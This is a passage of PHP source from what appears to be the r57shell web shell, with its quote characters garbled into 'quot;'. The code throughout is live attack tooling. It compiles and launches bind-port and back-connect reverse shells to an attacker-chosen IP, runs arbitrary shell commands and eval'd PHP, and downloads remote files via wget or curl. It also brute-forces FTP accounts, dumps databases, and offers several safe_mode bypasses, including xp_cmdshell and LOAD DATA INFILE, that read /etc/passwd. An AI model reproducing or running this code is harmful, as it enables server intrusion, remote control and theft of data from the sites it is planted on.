$_POST['cmd']=quot;quot;; echo quot;<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>quot;. $lang[$language.'_text45'].quot;</b></font></div></td></tr></table>quot;; } } if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']==quot;Cquot;)) { cf(quot;/tmp/bd.cquot;,$port_bind_bd_c); $blah = ex(quot;gcc -o /tmp/bd /tmp/bd.cquot;); @unlink(quot;/tmp/bd.cquot;); $blah = ex(quot;/tmp/bd quot;.$_POST['port'].quot; quot;.$_POST['bind_pass'].quot; &quot;); $_POST['cmd']=quot;ps -aux | grep bdquot;; } if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']==quot;Perlquot;)) { cf(quot;/tmp/bdplquot;,$port_bind_bd_pl); $p2=which(quot;perlquot;); $blah = ex($p2.quot; /tmp/bdpl quot;.$_POST['port'].quot; &quot;); $_POST['cmd']=quot;ps -aux | grep bdplquot;; } if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']==quot;Perlquot;)) { cf(quot;/tmp/backquot;,$back_connect); $p2=which(quot;perlquot;); $blah = ex($p2.quot; /tmp/back quot;.$_POST['ip'].quot; quot;.$_POST['port'].quot; &quot;); $_POST['cmd']=quot;echo quot;Now script try connect to quot;.$_POST['ip'].quot; port quot;. $_POST['port'].quot; ...quot;quot;; } if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']==quot;Cquot;)) { cf(quot;/tmp/back.cquot;,$back_connect_c); $blah = ex(quot;gcc -o /tmp/backc /tmp/back.cquot;);
    • @unlink(quot;/tmp/back.cquot;); $blah = ex(quot;/tmp/backc quot;.$_POST['ip'].quot; quot;.$_POST['port'].quot; &quot;); $_POST['cmd']=quot;echo quot;Now script try connect to quot;.$_POST['ip'].quot; port quot;. $_POST['port'].quot; ...quot;quot;; } if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && ! empty($_POST['remote_port']) && ($_POST['use']==quot;Perlquot;)) { cf(quot;/tmp/dpquot;,$datapipe_pl); $p2=which(quot;perlquot;); $blah = ex($p2.quot; /tmp/dp quot;.$_POST['local_port'].quot; quot;.$_POST['remote_host'].quot; quot;. $_POST['remote_port'].quot; &quot;); $_POST['cmd']=quot;ps -aux | grep dpquot;; } if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && ! empty($_POST['remote_port']) && ($_POST['use']==quot;Cquot;)) { cf(quot;/tmp/dpc.cquot;,$datapipe_c); $blah = ex(quot;gcc -o /tmp/dpc /tmp/dpc.cquot;); @unlink(quot;/tmp/dpc.cquot;); $blah = ex(quot;/tmp/dpc quot;.$_POST['local_port'].quot; quot;.$_POST['remote_port'].quot; quot;. $_POST['remote_host'].quot; &quot;); $_POST['cmd']=quot;ps -aux | grep dpcquot;; } if (!empty($_POST['alias']) && isset($aliases[$_POST['alias']])) { $_POST['cmd'] = $aliases[$_POST['alias']]; } if (!empty($HTTP_POST_FILES['userfile']['name'])) { if(!empty($_POST['new_name'])) { $nfn = $_POST['new_name']; } else { $nfn = $HTTP_POST_FILES['userfile']['name']; } @copy($HTTP_POST_FILES['userfile']['tmp_name'], $_POST['dir'].quot;/quot;.$nfn) or print(quot;<font color=red face=Fixedsys><div align=center>Error uploading file quot;.$HTTP_POST_FILES['userfile']['name'].quot;</div></font>quot;); } if (!empty($_POST['with']) && !empty($_POST['rem_file']) && ! empty($_POST['loc_file'])) { switch($_POST['with']) { case wget: $_POST['cmd'] = which('wget').quot; quot;.$_POST['rem_file'].quot; -O quot;.$_POST['loc_file'].quot;quot;; break; case fetch: $_POST['cmd'] = which('fetch').quot; -o quot;.$_POST['loc_file'].quot; -p quot;. $_POST['rem_file'].quot;quot;; break; case lynx: $_POST['cmd'] = which('lynx').quot; -source quot;.$_POST['rem_file'].quot; > quot;. $_POST['loc_file'].quot;quot;; break; case links: $_POST['cmd'] = which('links').quot; -source quot;.$_POST['rem_file'].quot; > quot;. $_POST['loc_file'].quot;quot;; break; case GET: $_POST['cmd'] = which('GET').quot; quot;.$_POST['rem_file'].quot; > quot;.$_POST['loc_file'].quot;quot;; break; case curl:
    • $_POST['cmd'] = which('curl').quot; quot;.$_POST['rem_file'].quot; -o quot;.$_POST['loc_file'].quot;quot;; break; } } if(!empty($_POST['cmd']) && ($_POST['cmd']==quot;ftp_file_upquot; || $_POST['cmd']==quot;ftp_file_downquot;)) { list($ftp_server,$ftp_port) = split(quot;:quot;,$_POST['ftp_server_port']); if(empty($ftp_port)) { $ftp_port = 21; } $connection = @ftp_connect ($ftp_server,$ftp_port,10); if(!$connection) { err(3); } else { if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { err(4); } else { if($_POST['cmd']==quot;ftp_file_downquot;) { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.((!$unix)?(''):('/')).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']); } if($_POST['cmd']==quot;ftp_file_upquot;) { @ftp_put($connection,$_POST['ftp_file'], $_POST['loc_file'],$_POST['mode']); } } } @ftp_close($connection); $_POST['cmd'] = quot;quot;; } if(!empty($_POST['cmd']) && $_POST['cmd']==quot;ftp_brutequot;) { list($ftp_server,$ftp_port) = split(quot;:quot;,$_POST['ftp_server_port']); if(empty($ftp_port)) { $ftp_port = 21; } $connection = @ftp_connect ($ftp_server,$ftp_port,10); if(!$connection) { err(3); $_POST['cmd'] = quot;quot;; } else if(!$users=get_users()) { echo quot;<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>quot;.$lang[$language.'_text96'].quot;</b></div></font></td></tr></table>quot;; $_POST['cmd'] = quot;quot;; } @ftp_close($connection); } echo $table_up3; if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=(!$unix)?(quot;dirquot;):(quot;ls -liaquot;); } else if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']=quot;safe_dirquot;; } echo $font.$lang[$language.'_text1'].quot;: <b>quot;. $_POST['cmd'].quot;</b></font></td></tr><tr><td><b><div align=center><textarea name=report cols=121 rows=15>quot;; if($safe_mode) { switch($_POST['cmd']) { case 'safe_dir': $d=@dir($dir); if ($d) { while (false!==($file=$d->read())) { if ($file==quot;.quot; || $file==quot;..quot;) continue; @clearstatcache(); list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime,
    • $mtime, $ctime, $bsize) = stat($file); if(!$unix){ echo date(quot;d.m.Y H:iquot;,$mtime); if(@is_dir($file)) echo quot; <DIR> quot;; else printf(quot;% 7s quot;,$size); } else{ $owner = @posix_getpwuid($uid); $grgid = @posix_getgrgid($gid); echo $inode.quot; quot;; echo perms(@fileperms($file)); printf(quot;% 4d % 9s % 9s %7s quot;,$nlink,$owner['name'],$grgid['name'],$size); echo date(quot;d.m.Y H:i quot;,$mtime); } echo quot;$filenquot;; } $d->close(); } else echo $lang[$language._text29]; break; case 'test1': $ci = @curl_init(quot;file://quot;.$_POST['test1_file'].quot;quot;); $cf = @curl_exec($ci); echo $cf; break; case 'test2': @include($_POST['test2_file']); break; case 'test3': if(empty($_POST['test3_port'])) { $_POST['test3_port'] = quot;3306quot;; } $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'], $_POST['test3_mp']); if($db) { if(@mysql_select_db($_POST['test3_md'],$db)) { @mysql_query(quot;DROP TABLE IF EXISTS temp_r57_tablequot;); @mysql_query(quot;CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL )quot;); @mysql_query(quot;LOAD DATA INFILE quot;quot;.$_POST['test3_file'].quot;quot; INTO TABLE temp_r57_tablequot;); $r = @mysql_query(quot;SELECT * FROM temp_r57_tablequot;); while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0]); } @mysql_query(quot;DROP TABLE IF EXISTS temp_r57_tablequot;); } else echo quot;[-] ERROR! Can't select databasequot;; @mysql_close($db); } else echo quot;[-] ERROR! Can't connect to mysql serverquot;; break; case 'test4': if(empty($_POST['test4_port'])) { $_POST['test4_port'] = quot;1433quot;; } $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'], $_POST['test4_mp']); if($db) { if(@mssql_select_db($_POST['test4_md'],$db)) { @mssql_query(quot;drop table r57_temp_tablequot;,$db); @mssql_query(quot;create table r57_temp_table ( string VARCHAR (500) NULL)quot;,$db);
    • @mssql_query(quot;insert into r57_temp_table EXEC master.dbo.xp_cmdshell 'quot;. $_POST['test4_file'].quot;'quot;,$db); $res = mssql_query(quot;select * from r57_temp_tablequot;,$db); while(($row=@mssql_fetch_row($res))) { echo $row[0].quot;rnquot;; } @mssql_query(quot;drop table r57_temp_tablequot;,$db); } else echo quot;[-] ERROR! Can't select databasequot;; @mssql_close($db); } else echo quot;[-] ERROR! Can't connect to MSSQL serverquot;; break; case 'test5': if (@file_exists('/tmp/mb_send_mail')) @unlink('/tmp/mb_send_mail'); $extra = quot;-C quot;.$_POST['test5_file'].quot; -X /tmp/mb_send_mailquot;; @mb_send_mail(NULL, NULL, NULL, NULL, $extra); $lines = file ('/tmp/mb_send_mail'); foreach ($lines as $line) { echo htmlspecialchars($line).quot;rnquot;; } break; case 'test6': $stream = @imap_open('/etc/passwd', quot;quot;, quot;quot;); $dir_list = @imap_list($stream, trim($_POST['test6_file']), quot;*quot;); for ($i = 0; $i < count($dir_list); $i++) echo $dir_list[$i].quot;rnquot;; @imap_close($stream); break; case 'test7': $stream = @imap_open($_POST['test7_file'], quot;quot;, quot;quot;); $str = @imap_body($stream, 1); echo $str; @imap_close($stream); break; case 'test8': if(@copy(quot;compress.zlib://quot;.$_POST['test8_file1'], $_POST['test8_file2'])) echo $lang[$language.'_text118']; else echo $lang[$language.'_text119']; break; } } else if(($_POST['cmd']!=quot;php_evalquot;)&&($_POST['cmd']!=quot;mysql_dumpquot;)&&($_POST['cmd']! =quot;db_queryquot;)&&($_POST['cmd']!=quot;ftp_brutequot;)){ $cmd_rep = ex($_POST['cmd']); if(!$unix) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w')).quot;nquot;; } else { echo @htmlspecialchars($cmd_rep).quot;nquot;; }} if ($_POST['cmd']==quot;ftp_brutequot;) { $suc = 0; foreach($users as $user) { $connection = @ftp_connect($ftp_server,$ftp_port,10); if(@ftp_login($connection,$user,$user)) { echo quot;[+] $user:$user - successrnquot;; $suc++; } else if(isset($_POST['reverse'])) { if(@ftp_login($connection, $user,strrev($user))) { echo quot;[+] $user:quot;.strrev($user).quot; - successrnquot;; $suc++; } } @ftp_close($connection); } echo quot;rn-------------------------------------rnquot;;
    • $count = count($users); if(isset($_POST['reverse'])) { $count *= 2; } echo $lang[$language.'_text97'].$count.quot;rnquot;; echo $lang[$language.'_text98'].$suc.quot;rnquot;; } if ($_POST['cmd']==quot;php_evalquot;){ $eval = @str_replace(quot;<?quot;,quot;quot;,$_POST['php_eval']); $eval = @str_replace(quot;?>quot;,quot;quot;,$eval); @eval($eval);} if ($_POST['cmd']==quot;mysql_dumpquot;) { if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], quot;wquot;); } $sql = new my_sql(); $sql->db = $_POST['db']; $sql->host = $_POST['db_server']; $sql->port = $_POST['db_port']; $sql->user = $_POST['mysql_l']; $sql->pass = $_POST['mysql_p']; $sql->base = $_POST['mysql_db']; if(!$sql->connect()) { echo quot;[-] ERROR! Can't connect to SQL serverquot;; } else if(!$sql->select_db()) { echo quot;[-] ERROR! Can't select databasequot;; } else if(!$sql->dump($_POST['mysql_tbl'])) { echo quot;[-] ERROR! Can't create dumpquot;; } else { if(empty($_POST['dif'])) { foreach($sql->dump as $v) echo $v.quot;rnquot;; } else if($fp){ foreach($sql->dump as $v) @fputs($fp,$v.quot;rnquot;); } else { echo quot;[-] ERROR! Can't write in dump filequot;; } } } echo quot;</textarea></div>quot;; echo quot;</b>quot;; echo quot;</td></tr></table>quot;; echo quot;<table width=100% cellpadding=0 cellspacing=0>quot;; function div_title($title, $id) { return '<a style=quot;cursor: pointer;quot; onClick=quot;change_divst(''.$id.'');quot;>'. $title.'</a>'; } function div($id) { if(isset($_COOKIE[$id]) && $_COOKIE[$id]==0) return '<div id=quot;'.$id.'quot; style=quot;display: none;quot;>'; return '<div id=quot;'.$id.'quot;>'; } if(!$safe_mode){ echo $fs.$table_up1.div_title($lang[$language.'_text2'],'id1'). $table_up2.div('id1').$ts; echo sr(15,quot;<b>quot;.$lang[$language.'_text3'].$arrow.quot;</b>quot;,in('text','cmd',85,'')); echo sr(15,quot;<b>quot;.$lang[$language.'_text4']. $arrow.quot;</b>quot;,in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language .'_butt1'])); echo $te.'</div>'.$table_end1.$fe; } else{ echo $fs.$table_up1.div_title($lang[$language.'_text28'],'id2'). $table_up2.div('id2').$ts; echo sr(15,quot;<b>quot;.$lang[$language.'_text4']. $arrow.quot;</b>quot;,in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('su bmit','submit',0,$lang[$language.'_butt6']));
    • echo $te.'</div>'.$table_end1.$fe; } echo $fs.$table_up1.div_title($lang[$language.'_text42'],'id3'). $table_up2.div('id3').$ts; echo sr(15,quot;<b>quot;.$lang[$language.'_text43']. $arrow.quot;</b>quot;,in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidd en','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11'])); echo $te.'</div>'.$table_end1.$fe; if($safe_mode){ echo $fs.$table_up1.div_title($lang[$language.'_text57'],'id4'). $table_up2.div('id4').$ts; echo sr(15,quot;<b>quot;.$lang[$language.'_text58'].$arrow.quot;</b>quot;,in('text','mk_name',54,(! empty($_POST['mk_name'])?($_POST['mk_name']):(quot;new_namequot;))).ws(4).quot;<select name=action><option value=create>quot;.$lang[$language.'_text65'].quot;</option><option value=delete>quot;.$lang[$language.'_text66'].quot;</option></select>quot;.ws(3).quot;<select name=what><option value=file>quot;.$lang[$language.'_text59'].quot;</option><option value=dir>quot;. $lang[$language.'_text60'].quot;</option></select>quot;.in('hidden','cmd',0,'mk').in('hidde n','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13'])); echo $te.'</div>'.$table_end1.$fe; } if($safe_mode && $unix){ echo $fs.$table_up1.div_title($lang[$language.'_text67'],'id5'). $table_up2.div('id5').$ts; echo sr(15,quot;<b>quot;.$lang[$language.'_text68'].$arrow.quot;</b>quot;,quot;<select name=what><option value=mod>CHMOD</option><option value=own>CHOWN</option><option value=grp>CHGRP</option></select>quot;.ws(2).quot;<b>quot;.$lang[$language.'_text69']. $arrow.quot;</b>quot;.ws(2).in('text','param1',40,(($_POST['param1'])?($_POST['param1']): (quot;filenamequot;))).ws(2).quot;<b>quot;.$lang[$language.'_text70']. $arrow.quot;</b>quot;.ws(2).in('text','param2 title=quot;'.$lang[$language.'_text71'].'quot;',26, (($_POST['param2'])?($_POST['param2']): (quot;0777quot;))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit',' submit',0,$lang[$language.'_butt1'])); echo $te.'</div>'.$table_end1.$fe; } if(!$safe_mode){ $aliases2 = ''; foreach ($aliases as $alias_name=>$alias_cmd) { $aliases2 .= quot;<option>$alias_name</option>quot;; } echo $fs.$table_up1.div_title($lang[$language.'_text7'],'id6'). $table_up2.div('id6').$ts; echo sr(15,quot;<b>quot;.ws(9).$lang[$language.'_text8'].$arrow.ws(4).quot;</b>quot;,quot;<select name=alias>quot;. $aliases2.quot;</select>quot;.in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[ $language.'_butt1'])); echo $te.'</div>'.$table_end1.$fe; } echo $fs.$table_up1.div_title($lang[$language.'_text54'],'id7'). $table_up2.div('id7').$ts; echo sr(15,quot;<b>quot;.$lang[$language.'_text52']. $arrow.quot;</b>quot;,in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$lan guage.'_butt12'])); echo sr(15,quot;<b>quot;.$lang[$language.'_text53']. $arrow.quot;</b>quot;,in('text','s_dir',85,$dir).quot; * ( /root;/home;/tmp )quot;); echo sr(15,quot;<b>quot;.$lang[$language.'_text55'].$arrow.quot;</b>quot;,in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php').quot;* ( .txt;.php;.htm )quot;.in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir));
    • echo $te.'</div>'.$table_end1.$fe; if(!$safe_mode && $unix){ echo $fs.$table_up1.div_title($lang[$language.'_text76'],'id8'). $table_up2.div('id8').$ts; echo sr(15,quot;<b>quot;.$lang[$language.'_text72']. $arrow.quot;</b>quot;,in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$lan guage.'_butt12'])); echo sr(15,quot;<b>quot;.$lang[$language.'_text73']. $arrow.quot;</b>quot;,in('text','s_dir',85,$dir).quot; * ( /root;/home;/tmp )quot;); echo sr(15,quot;<b>quot;.$lang[$language.'_text74'].$arrow.quot;</b>quot;,in('text','s_mask',85,'*. [hc]').ws(1). $lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$di r)); echo $te.'</div>'.$table_end1.$fe; } echo $fs.$table_up1.div_title($lang[$language.'_text32'],'id9').$table_up2.$font; echo quot;<div align=center>quot;.div('id9').quot;<textarea name=php_eval cols=100 rows=3>quot;; echo (!empty($_POST['php_eval'])?($_POST['php_eval']):(quot;/* delete script */rn//unlink(quot;r57shell.phpquot;);rn//readfile(quot;/etc/passwdquot;);quot;)); echo quot;</textarea>quot;; echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval'); echo quot;<br>quot;.ws(1).in('submit','submit',0,$lang[$language.'_butt1']); echo quot;</div></div></font>quot;; echo $table_end1.$fe; if($safe_mode&&$curl_on) { echo $fs.$table_up1.div_title($lang[$language.'_text33'],'id10'). $table_up2.div('id10').$ts; echo sr(15,quot;<b>quot;.$lang[$language.'_text30']. $arrow.quot;</b>quot;,in('text','test1_file',85,(!empty($_POST['test1_file'])? ($_POST['test1_file']): (quot;/etc/passwdquot;))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in(' submit','submit',0,$lang[$language.'_butt8'])); echo $te.'</div>'.$table_end1.$fe; } if($safe_mode) { echo $fs.$table_up1.div_title($lang[$language.'_text34'],'id11'). $table_up2.div('id11').$ts; echo quot;<table class=table1 width=100% align=center>quot;; echo sr(15,quot;<b>quot;.$lang[$language.'_text30']. $arrow.quot;</b>quot;,in('text','test2_file',85,(!empty($_POST['test2_file'])? ($_POST['test2_file']): (quot;/etc/passwdquot;))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in(' submit','submit',0,$lang[$language.'_butt8'])); echo $te.'</div>'.$table_end1.$fe; } if($safe_mode&&$mysql_on) { echo $fs.$table_up1.div_title($lang[$language.'_text35'],'id12'). $table_up2.div('id12').$ts; echo sr(15,quot;<b>quot;.$lang[$language.'_text36'].$arrow.quot;</b>quot;,in('text','test3_md',15, (!empty($_POST['test3_md'])?($_POST['test3_md']):(quot;mysqlquot;))).ws(4).quot;<b>quot;. $lang[$language.'_text37'].$arrow.quot;</b>quot;.in('text','test3_ml',15,(! empty($_POST['test3_ml'])?($_POST['test3_ml']):(quot;rootquot;))).ws(4).quot;<b>quot;. $lang[$language.'_text38'].$arrow.quot;</b>quot;.in('text','test3_mp',15,(! empty($_POST['test3_mp'])?($_POST['test3_mp']):(quot;passwordquot;))).ws(4).quot;<b>quot;. $lang[$language.'_text14'].$arrow.quot;</b>quot;.in('text','test3_port',15,(! empty($_POST['test3_port'])?($_POST['test3_port']):(quot;3306quot;))));
    • echo sr(15,quot;<b>quot;.$lang[$language.'_text30']. $arrow.quot;</b>quot;,in('text','test3_file',96,(!empty($_POST['test3_file'])? ($_POST['test3_file']): (quot;/etc/passwdquot;))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in(' submit','submit',0,$lang[$language.'_butt8'])); echo $te.'</div>'.$table_end1.$fe; } if($safe_mode&&$mssql_on) { echo $fs.$table_up1.div_title($lang[$language.'_text85'],'id13'). $table_up2.div('id13').$ts; echo sr(15,quot;<b>quot;.$lang[$language.'_text36'].$arrow.quot;</b>quot;,in('text','test4_md',15, (!empty($_POST['test4_md'])?($_POST['test4_md']):(quot;masterquot;))).ws(4).quot;<b>quot;. $lang[$language.'_text37'].$arrow.quot;</b>quot;.in('text','test4_ml',15,(! empty($_POST['test4_ml'])?($_POST['test4_ml']):(quot;saquot;))).ws(4).quot;<b>quot;. $lang[$language.'_text38'].$arrow.quot;</b>quot;.in('text','test4_mp',15,(! empty($_POST['test4_mp'])?($_POST['test4_mp']):(quot;passwordquot;))).ws(4).quot;<b>quot;. $lang[$language.'_text14'].$arrow.quot;</b>quot;.in('text','test4_port',15,(! empty($_POST['test4_port'])?($_POST['test4_port']):(quot;1433quot;)))); echo sr(15,quot;<b>quot;.$lang[$language.'_text3'].$arrow.quot;</b>quot;,in('text','test4_file',96, (!empty($_POST['test4_file'])?($_POST['test4_file']): (quot;dirquot;))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit', 'submit',0,$lang[$language.'_butt8'])); echo $te.'</div>'.$table_end1.$fe; } if($safe_mode&&$unix&&function_exists('mb_send_mail')){ echo $fs.$table_up1.div_title($lang[$language.'_text112'],'id22'). $table_up2.div('id22').$ts; echo sr(15,quot;<b>quot;.$lang[$language.'_text30']. $arrow.quot;</b>quot;,in('text','test5_file',96,(!empty($_POST['test5_file'])? ($_POST['test5_file']): (quot;/etc/passwdquot;))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test5').ws(4).in(' submit','submit',0,$lang[$language.'_butt8'])); echo $te.'</div>'.$table_end1.$fe; } if($safe_mode&&function_exists('imap_list')){ echo $fs.$table_up1.div_title($lang[$language.'_text113'],'id23'). $table_up2.div('id23').$ts; echo sr(15,quot;<b>quot;.$lang[$language.'_text4'].$arrow.quot;</b>quot;,in('text','test6_file',96, (!empty($_POST['test6_file'])?($_POST['test6_file']): ($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test6').ws(4).in('submit',' submit',0,$lang[$language.'_butt8'])); echo $te.'</div>'.$table_end1.$fe; } if($safe_mode&&function_exists('imap_body')){ echo $fs.$table_up1.div_title($lang[$language.'_text114'],'id24'). $table_up2.div('id24').$ts; echo sr(15,quot;<b>quot;.$lang[$language.'_text30']. $arrow.quot;</b>quot;,in('text','test7_file',96,(!empty($_POST['test7_file'])? ($_POST['test7_file']): (quot;/etc/passwdquot;))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test7').ws(4).in(' submit','submit',0,$lang[$language.'_butt8'])); echo $te.'</div>'.$table_end1.$fe; } if($safe_mode) { echo $fs.$table_up1.div_title($lang[$language.'_text115'],'id25'). $table_up2.div('id25').$ts; echo sr(15,quot;<b>quot;.$lang[$language.'_text116'].
    • $arrow.quot;</b>quot;,in('text','test8_file1',96,(!empty($_POST['test8_file1'])? ($_POST['test8_file1']): (quot;/etc/passwdquot;))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test8')); echo sr(15,quot;<b>quot;.$lang[$language.'_text117']. $arrow.quot;</b>quot;,in('text','test8_file2',96,(!empty($_POST['test8_file2'])? ($_POST['test8_file2']): ($dir))).ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); echo $te.'</div>'.$table_end1.$fe; } if(@ini_get('file_uploads')){ echo quot;<form name=upload method=POST ENCTYPE=multipart/form-data>quot;; echo $table_up1.div_title($lang[$language.'_text5'],'id14').$table_up2.div('id14'). $ts; echo sr(15,quot;<b>quot;.$lang[$language.'_text6']. $arrow.quot;</b>quot;,in('file','userfile',85,'')); echo sr(15,quot;<b>quot;.$lang[$language.'_text21'].$arrow.quot;</b>quot;,in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('subm it','submit',0,$lang[$language.'_butt2'])); echo $te.'</div>'.$table_end1.$fe; } if(!$safe_mode&&$unix){ echo $fs.$table_up1.div_title($lang[$language.'_text15'],'id15'). $table_up2.div('id15').$ts; echo sr(15,quot;<b>quot;.$lang[$language.'_text16'].$arrow.quot;</b>quot;,quot;<select size=quot;1quot; name=quot;withquot;><option value=quot;wgetquot;>wget</option><option value=quot;fetchquot;>fetch</option><option value=quot;lynxquot;>lynx</option><option value=quot;linksquot;>links</option><option value=quot;curlquot;>curl</option><option value=quot;GETquot;>GET</option></select>quot;.in('hidden','dir',0,$dir).ws(2).quot;<b>quot;. $lang[$language.'_text17'].$arrow.quot;</b>quot;.in('text','rem_file',78,'http://')); echo sr(15,quot;<b>quot;.$lang[$language.'_text18']. $arrow.quot;</b>quot;,in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$la nguage.'_butt2'])); echo $te.'</div>'.$table_end1.$fe; } echo $fs.$table_up1.div_title($lang[$language.'_text86'],'id16'). $table_up2.div('id16').$ts; echo sr(15,quot;<b>quot;.$lang[$language.'_text59']. $arrow.quot;</b>quot;,in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in(' hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14'])); $arh = $lang[$language.'_text92']; if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip'; } if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip'; } if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; } echo sr(15,quot;<b>quot;.$lang[$language.'_text91']. $arrow.quot;</b>quot;,in('radio','compress',0,'none',1).' '.$arh); echo $te.'</div>'.$table_end1.$fe; if(@function_exists(quot;ftp_connectquot;)){ echo $table_up1.div_title($lang[$language.'_text93'],'id17'). $table_up2.div('id17').$ts.quot;<tr>quot;.$fs.quot;<td valign=top width=50%>quot;.$ts; echo quot;<font face=Verdana size=-2><b><div align=center id='n'>quot;. $lang[$language.'_text87'].quot;</div></b></font>quot;; echo sr(25,quot;<b>quot;.$lang[$language.'_text88']. $arrow.quot;</b>quot;,in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])? ($_POST['ftp_server_port']):(quot;127.0.0.1:21quot;)))); echo sr(25,quot;<b>quot;.$lang[$language.'_text37'].$arrow.quot;</b>quot;,in('text','ftp_login',45, (!empty($_POST['ftp_login'])?($_POST['ftp_login']):(quot;anonymousquot;))));
    • echo sr(25,quot;<b>quot;.$lang[$language.'_text38']. $arrow.quot;</b>quot;,in('text','ftp_password',45,(!empty($_POST['ftp_password'])? ($_POST['ftp_password']):(quot;billy@microsoft.comquot;)))); echo sr(25,quot;<b>quot;.$lang[$language.'_text89'].$arrow.quot;</b>quot;,in('text','ftp_file',45, (!empty($_POST['ftp_file'])?($_POST['ftp_file']):(quot;/ftp- dir/filequot;))).in('hidden','cmd',0,'ftp_file_down')); echo sr(25,quot;<b>quot;.$lang[$language.'_text18']. $arrow.quot;</b>quot;,in('text','loc_file',45,$dir)); echo sr(25,quot;<b>quot;.$lang[$language.'_text90'].$arrow.quot;</b>quot;,quot;<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>quot;.in('h idden','dir',0,$dir)); echo sr(25,quot;quot;,in('submit','submit',0,$lang[$language.'_butt14'])); echo $te.quot;</td>quot;.$fe.$fs.quot;<td valign=top width=50%>quot;.$ts; echo quot;<font face=Verdana size=-2><b><div align=center id='n'>quot;. $lang[$language.'_text100'].quot;</div></b></font>quot;; echo sr(25,quot;<b>quot;.$lang[$language.'_text88']. $arrow.quot;</b>quot;,in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])? ($_POST['ftp_server_port']):(quot;127.0.0.1:21quot;)))); echo sr(25,quot;<b>quot;.$lang[$language.'_text37'].$arrow.quot;</b>quot;,in('text','ftp_login',45, (!empty($_POST['ftp_login'])?($_POST['ftp_login']):(quot;anonymousquot;)))); echo sr(25,quot;<b>quot;.$lang[$language.'_text38']. $arrow.quot;</b>quot;,in('text','ftp_password',45,(!empty($_POST['ftp_password'])? ($_POST['ftp_password']):(quot;billy@microsoft.comquot;)))); echo sr(25,quot;<b>quot;.$lang[$language.'_text18']. $arrow.quot;</b>quot;,in('text','loc_file',45,$dir)); echo sr(25,quot;<b>quot;.$lang[$language.'_text89'].$arrow.quot;</b>quot;,in('text','ftp_file',45, (!empty($_POST['ftp_file'])?($_POST['ftp_file']):(quot;/ftp- dir/filequot;))).in('hidden','cmd',0,'ftp_file_up')); echo sr(25,quot;<b>quot;.$lang[$language.'_text90'].$arrow.quot;</b>quot;,quot;<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>quot;.in('h idden','dir',0,$dir)); echo sr(25,quot;quot;,in('submit','submit',0,$lang[$language.'_butt2'])); echo $te.quot;</td>quot;.$fe.quot;</tr></div></table>quot;; } if($unix && @function_exists(quot;ftp_connectquot;)){ echo $fs.$table_up1.div_title($lang[$language.'_text94'],'id18'). $table_up2.div('id18').$ts; echo sr(15,quot;<b>quot;.$lang[$language.'_text88']. $arrow.quot;</b>quot;,in('text','ftp_server_port',85,(!empty($_POST['ftp_server_port'])? ($_POST['ftp_server_port']): (quot;127.0.0.1:21quot;))).in('hidden','cmd',0,'ftp_brute').ws(4).in('submit','submit',0,$l ang[$language.'_butt1'])); echo sr(15,quot;quot;,quot;<font face=Verdana size=-2>quot;.$lang[$language.'_text99'].quot; ( <a 